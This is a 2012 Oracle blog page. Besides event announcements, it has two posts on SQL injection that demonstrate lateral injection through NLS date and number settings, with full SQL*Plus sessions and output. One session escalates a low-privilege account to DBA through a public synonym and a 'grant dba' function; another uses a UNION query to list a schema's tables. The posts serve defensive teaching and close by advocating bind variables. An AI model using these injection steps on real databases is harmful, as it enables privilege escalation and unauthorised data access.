Saturday, February 11, 2012

The 10th Annual Hotsos Symposium is coming...

I remember the first Hotsos Symposium like it was yesterday.  It was a time I got to meet many people I had interacted with online for the first time - like Jonathan Lewis for example.  I cannot believe it was 10 years ago...

I've attended all but one of these events over the years (and I definitely won't be missing the 10 year anniversary!) - it is one of the few conferences where I try to attend as many sessions as I can myself.  One thing I like is there are only two tracks at most - meaning you'll miss some content you probably wanted to see - but nothing on the scale of the larger conferences out there with 10, 20 or more concurrent tracks.

The party they throw every year isn't bad either.  (the food is probably the best conference food ever ;) )

In addition to the three day conference (March 5th-March 7th) - Jonathan Lewis will be giving the extra training day on Thursday.

But wait, there's more...

Cary Millsap will be giving a one day training course on Friday March 9th in the same area.

So, if you want to overdose on Oracle for a week, I'd recommend the Symposium, followed by Jonathan's "Designing Optimal SQL" training day, and closing up with Cary and some trace data analysis.

Friday, February 03, 2012

All about Security - SQL Injection redux

I just wrote about SQL Injection yesterday - after having giving a web seminar on Wednesday the touched on the topic.

One of the comments on that post was by David Litchfield, he wrote:
Hey Tom,Funnily enough I just published a paper about doing the same thing with NUMBER concatenations. This was an addendum to a paper I wrote in 2008 on exploit DATE concatenations - the same problem you discuss here. You can get the recent paper here: http://www.accuvant.com/capability/accuvant-labs/security-research/lateral-sql-injection-revisited-exploiting-numbers and the first paper here: http://www.databasesecurity.com/dbsec/lateral-sql-injection.pdf

I read that new paper and learned something new (actually, much like David - I was kicking myself because I should have been able to see this problem coming as well.  It is just a variation on a theme after all).  In that paper, he demonstrates how to exploit a SQL Injection flaw using NLS settings with numbers.  That is something I hadn't considered before.  NLS settings for numbers are different than for dates.  With a date, I can set the format string to have any string of characters I want.  With numbers - you are very much restricted. On the face of it - it doesn't look like you can exploit a SQL Injection flaw with numbers like you can with dates.

But - you can.  Just not as flexibly.  But the end result can be as disastrous.

One of the follow on comments to this posting by David was:

the problem David mentions in http://www.accuvant.com/capability/accuvant-labs/security-research/lateral-sql-injection-revisited-exploiting-numbers only arises since NUM_PROC is owned by SYS,as far as I can see, correct ? 
So, it's not really a problem since nobody ever does something as SYS, correct.

In his example, David used SYS to demonstrate with - which could lead people to believe "ah, it needs SYS to exploit this flaw".  But - it doesn't.  All it requires is an account with these privileges:
  • Create session
  • Create procedure
  • Create public synonym <<<=== these guys are evil!  Should be avoided
And another schema that has the ability to GRANT stuff - like DBA.  It doesn't have to be DBA, it could be any privilege they have the ability to grant.

Here is how to exploit the flaw.  First - read David's paper to get the background on the 'P ' NLS_NUMERIC_CHARACTERS.  Then you'll understand how:

a%ORA11GR2> select .1 from dual;

        .1
----------
        P1

works.  Once you have mastered that, all we need to do to exploit this type of SQL Injection flaw is this.  I'll have a DBA schema containing a procedure that uses dynamic SQL with string concatenation and a number as an input:

ops$tkyte%ORA11GR2> create or replace procedure do_something( l_num in number )
  2  as
  3      l_query  long;
  4      l_cursor sys_refcursor;
  5      l_rec    all_users%rowtype;
  6  begin
  7      l_query := '
  8       select *
  9         from all_users
 10        where user_id = ' || l_num;
 11      dbms_output.put_line( l_query );
 12  
 13      open l_cursor for l_query;
 14  
 15      loop
 16          fetch l_cursor into l_rec;
 17          exit when l_cursor%notfound;
 18          dbms_output.put_line( 'username = ' || 
                                   l_rec.username );
 19      end loop;
 20      close l_cursor;
 21  end;
 22  /
Procedure created.

Then, we'll have our account with the small set of privileges:


ops$tkyte%ORA11GR2> create user a identified by a;
User created.

ops$tkyte%ORA11GR2> grant create session, create procedure,
                    create public synonym to a;
Grant succeeded.


and we'll allow it to access this procedure - just like in my original SQL Injection article:

ops$tkyte%ORA11GR2> grant execute on do_something to a;
Grant succeeded.

Ok, so now we'll log in as A and run the procedure to see what it does:

ops$tkyte%ORA11GR2> connect a/a
Connected.
a%ORA11GR2> 
a%ORA11GR2> exec ops$tkyte.do_something( 5 );

     select *
       from all_users
      where user_id = 5
username = SYSTEM

PL/SQL procedure successfully completed.


Now, we suspect it might use string concatenation - so we'll create a function that might be able to exploit this:

a%ORA11GR2> create or replace function foobar return number
  2  authid current_user
  3  as
  4      pragma autonomous_transaction;
  5  begin
  6      execute immediate 'grant dba to a';
  7      return 5;
  8  end;
  9  /
Function created.

And then set up our public synonym for it and allow others to execute it:

a%ORA11GR2> create public synonym p1 for foobar;
Synonym created.

a%ORA11GR2> grant execute on foobar to public;
Grant succeeded.


and now for the magic:

a%ORA11GR2> alter session set nls_numeric_characters = 'P ';
Session altered.

and viola:

a%ORA11GR2> set role dba;
set role dba
*
ERROR at line 1:
ORA-01924: role 'DBA' not granted or does not exist


a%ORA11GR2> exec ops$tkyte.do_something( .1 );

     select *
       from all_users
      where user_id = P1
username = SYSTEM

PL/SQL procedure successfully completed.

a%ORA11GR2> set role dba;

Role set.


I have DBA...

SQL Injection is insidious.  SQL Injection is hard to detect.  SQL Injection can be avoided - by simply using bind variables.  In the event a bind variable is not possible for some provable technical reason (and those events are few and far far far in between) you have to critically review that code over and over and try to think of every way it could be exploited.  The problem with that however is that before yesterday - I would have looked at this code and might have said "this looks ok".  

It is really hard to protect yourself from something you cannot see.



Updated a little later: Let me also say this:

If you use static sql in plsql - your code in plsql cannot be sql injected, period.  It is not possible.  The only way to get sql injected in plsql is to use dynamic sql - that is the only time.  So, if you want maximum protection from SQL Injection - if you just want to avoid it, you will:

a) write your SQL code in PL/SQL
b) call this PL/SQL from your java/c/c#/whatever code USING BINDS to pass all inputs and outputs to/from the database

If you do that - no SQL Injection attacks are possible.  

Thursday, February 02, 2012

Big Data...

I'll be doing a web seminar on Big Data on February 16th at 10am Pacific Time.  Here is the info:


Big Data Essentials: What You Need to Know, February 16th, 10:00 am – 1:30 pm PT

Big data is big news these days. But you don’t base IT investment decisions on magazine headlines.

Join us for the Big Data Online Forum to learn the essentials of big data—from the technology underlying it to real-world use cases. Oracle’s Tom Kyte, Cloudera CEO Mike Olson, and other industry thought leaders will be on hand to explain how big data can deliver revolutionary insight and competitive advantage.

You’ll get answers to tough questions surrounding big data, including:

  •     What business insight can big data uncover?
  •     How do you manage big data?
  •     How do you integrate big data into decision-making?

Register today for this half-day online event featuring live Q&A with big data experts.

www.oracle.com/goto/bigdata

All about Security - SQL Injection

I recently did a web seminar on Oracle Database Security (you can see a replay of it here).  We had over 1,300 live attendees (glad I couldn't see you all - that would be scary) and the feedback was pretty good.

We also received a few questions, well, actually - a lot of questions.  I'm going to try to tackle them here bit by bit.  I'm going to start with my favorite topic - questions centered around SQL Injection.  I'll center on the core concepts around SQL Injection in this article and then do a followup article regarding the Oracle Database Firewall - a tool useful for detecting and blocking SQL Injection attacks.

During the presentation - I talked about how insidious SQL Injection is - and how hard it can be to detect. In fact, I've written about this before, in this article.  The interesting thing about that article on injecting is the very last part of it, the section on "selective system grants".  If you read that small section you'll see a comment "Note: Revised content—to prevent SQL injection— for this procedure submitted by Roy Jorgensen.".  What that means is - the original article I submitted had a SQL Injection bug in it - right after I just spent pages going over SQL Injection!  That wasn't too embarrassing was it (it was).  But it does point out how easy it is for a SQL Injection bug to sneak into code - even when the coder knows full well what SQL Injection is and how it happens!

Anyway, during the web seminar I talked about a slide I use - with a full stored procedure on it - that contains a SQL Injection bug.  I ask the audience, usually full of developers and DBAs to tell me how the code can be SQL Injected..  I tell them right out - this code can be injected and if I were to put it in my schema and grant you execute on it - you could use this to read pretty much any table I own.

I usually hear crickets at this point in time, no hands, no volunteers.  Here is the slide:


Note that the input to this procedure is a binary Oracle date - it is fixed length, 7 bytes of data - the century, year, month, day, hour, minute and second.   The input is not a string, the input cannot contain things like "or 1=1" - typical SQL Injection attack strings.  It can only contain an Oracle date.  So - the question is - how can I 'trick' this stored procedure into showing me anything I want to see in the schema that owns the procedure (thus bypassing any and all security the application tier might have put in place - there are no restrictions on what I can and cannot see now).

Before we get there - let's talk about the bit of code that will be problematic - that is line 10.  As noted there is a double implicit conversion going on there.  That line of code is really:


Where created = to_date( to_char( p_date ) );

There is an implicit to_char on the date field in order to concatenate it to the query string.  Then, at runtime there is an implicit to_date on the string we concatenated in so we can compare it to a date.  This is a very common thing I see in code all of the time (implicit conversions) - but it is pure evil.  Not only will we discover it is the cause of a SQL Injection issue - but here it is a logic bomb as well.

First of all - by default - that to_date( to_char() ) conversion will have a side effect of effectively truncating the time component from the date field.  That is evil.  If you wanted to truncate the time off - please use TRUNC() on the date - it is much faster, more efficient, and expresses clearly that you intend to truncate the time component.  To_date(to_char()) does none of that.  Secondly - the conversion by default will also lose the century.  If you were trying to look for things created during the war of 1812 - you would lose, you cannot search for 1812 - it would become 2012 (well, right now as I write this it would be 2012 - in 38 years it will become 2112 and you won't be able to search for 2012 anymore...).

Also consider that I said "by default".  By default the NLS_DATE_FORMAT is DD-MON-RR (currrently, it has been different in the past!).  What happens to this code when someone decides to change it?  Your application might well start querying up entirely different data!

So, the implicit conversion by itself is bad - but the real issue is the SQL Injection flaw.  If you just run this procedure, by default - it certainly looks OK:

ops$tkyte%ORA11GR2> exec inj( sysdate )

        select *
          from all_users
         where created = '02-FEB-12'

PL/SQL procedure successfully completed.

that looks OK - seems pretty safe - until, until someone who has read the documentation comes along.  They might run your code like this:

ops$tkyte%ORA11GR2> alter session set
  2  nls_date_format = 'dd-mon-yyyy"'' or ''a'' = ''a"';

Session altered.
ops$tkyte%ORA11GR2> exec inj( sysdate )

        select *
          from all_users
         where created = '02-feb-2012' or 'a' = 'a'
A.....
EBRAPP.....
EBRTBLS.....
UTIL.....
USER2.....

PL/SQL procedure successfully completed.

Now that is surprising,  you might not even know you could do that in an NLS_DATE_FORMAT.  It is really hard to protect against something you don't even know you can do - isn't it?  I've had people look at that example and scoff at it - saying "so what, they were allowed to see that table".  Ok, take it a step further, I'd like to know what tables you own - so I can start querying them.  I'll just do this:

ops$tkyte%ORA11GR2> alter session set
  2  nls_date_format = '"''union select tname,0,null from tab--"';
Session altered.

ops$tkyte%ORA11GR2> exec inj( null )

Select *
  from all_users
 where created = ''union select tname,0,null from tab--'

....

Now you can see where this is going...  I find one SQL Injection bug in one procedure and I've unlocked the entire schema.  

So, the question now comes up - how do I protect myself from this?  What can I do to ensure I'm not subject to SQL Injection in this code?

There are two ways - the hard way and the easy way.  

The hard way involves writing code to validate everything and having serious code reviews of any code that uses string concatenation to build their SQL statements - any code that takes a parameter as input and concatenates it to a SQL query must be read and reviewed by many people - many people who will be super critical of the code.  In this case, the resulting code would have to be:

where created = to_date( ''' || to_char(p_date,'yyyymmddhh24miss') ||''', ''yyyymmddhh24miss'')';   

You need to have a coding standard that says:

  1. You shall never use implicit conversions ever, as in never.
  2. You shall always use an explicit date mask with dates, as in every single time, you will not rely on defaults (because defaults can inject you and because defaults can radically modify your logic unintentionally!)
And now you have to comb through all of your code looking for these bad practices (you should anyway - you have major logic bombs just waiting to explode in your code if you rely on default NLS settings and implicit conversions).

The easy way however is the way to go.  The easy way is - just use bind variables!  If you use bind variables, you cannot be SQL Injected - this is true for PL/SQL, for Java, for any and all languages.  If you use bind variables you cannot be SQL Injected - period.  It is that simple, really and truly.  If the code was:

  7          l_query := '
  8          select *
  9            from all_users
 10           where created = :x';
 11          open c for l_query USING P_DATE;
there is no way the end user can trick that SQL query into becoming anything other than what it is - in fact, for this example, the code should have been:

as
   cursor c is select * from all_users where created = p_date;
begin
   open c;
   ...

and nothing more - it shouldn't have even been using dynamic SQL.  In Java/C#/C++/etc - you would be using dynamic SQL and you should be using bind variables.   So, that answered all of these questions I received:

where can I find an illustration of SQL injection?
can u share the sql injection demo code
Can you share that SQL injection slide?
Can you show a code example of the SQL injection bug that nobody noticed during your presentations?
Can you show us or point us to the site of the example of SQL injection bug?
Is SQL injection all about binding, or is there more?

Another question was:

should application layer deal with the SQL injection attacks prevention as that layer understands what the proper data access patterns look like rather than database?

My response to that is - the application layer should definitely be aware of SQL Injection and use secure coding practices which would include:
always use a bind variable unless you have an excellent technical reason not to - and then you must submit your code for review to at least five people who do not like you - they must be motivated to rip your code apart, critically review it, make fun of it - so they find the bugs.
However - we need to also employ defense in depth - for when the inevitable bug slips through.  When I next write about this - I'll be going over the Oracle Database Firewall - a tool that can provide at least one more layer of defense.

The last question on this topic was: 

What is the dbms_assert PL/SQL package? How does it help prevent SQL injection? Should my organization be using it?

For that - I'll just forward you onto an excellent paper on this subject written by Bryn Llewellyn.  You can find that paper here.